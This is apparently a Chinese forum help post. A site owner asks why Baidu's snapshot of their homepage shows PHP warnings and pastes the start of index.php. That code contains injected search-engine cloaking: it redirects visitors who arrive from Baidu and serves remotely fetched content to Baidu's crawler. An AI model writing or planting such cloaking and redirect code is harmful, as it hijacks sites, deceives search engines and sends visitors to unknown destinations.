百度首页快照显示代码,内容不更新,其它搜索引擎正常收录。网站可以正常访问
首页百度快照如下Warning: file_get_contents() [function.file-get-contents]: URL file-access is disabled in the server configuration in E:\www\web\\wwwroot\index.php on line 17
Warning: file_get_contents(http://www.) [function.file-get-contents]: failed to open stream: no suitable wrapper could be found in E:\www\web\\wwwroot\index.php on line 17
----------------------------
index.php 前20行内容如下
<?php
@session_start();
require('./include/conn.php');
$_SESSION['countinfo'] = isset($_SESSION['countinfo']) ? $_SESSION['countinfo'] + 1 : 1;
$seoInfo = $db->sql('select * from web_seo where sid = 1');
$file="http://www.
$referer=$_SERVER["HTTP_REFERER"];
$agent= strtolower($_SERVER["HTTP_USER_AGENT"]);
if(strstr($referer,"baidu")&&strstr($referer,"456"))
{
Header("Location: $url");
}
if(ereg("http://www.baidu.com/search/spider.htm",$agent))
{
$content=file_get_contents($file); 第17行
echo $content;
exit;
}
首页快照更新后还是显示这样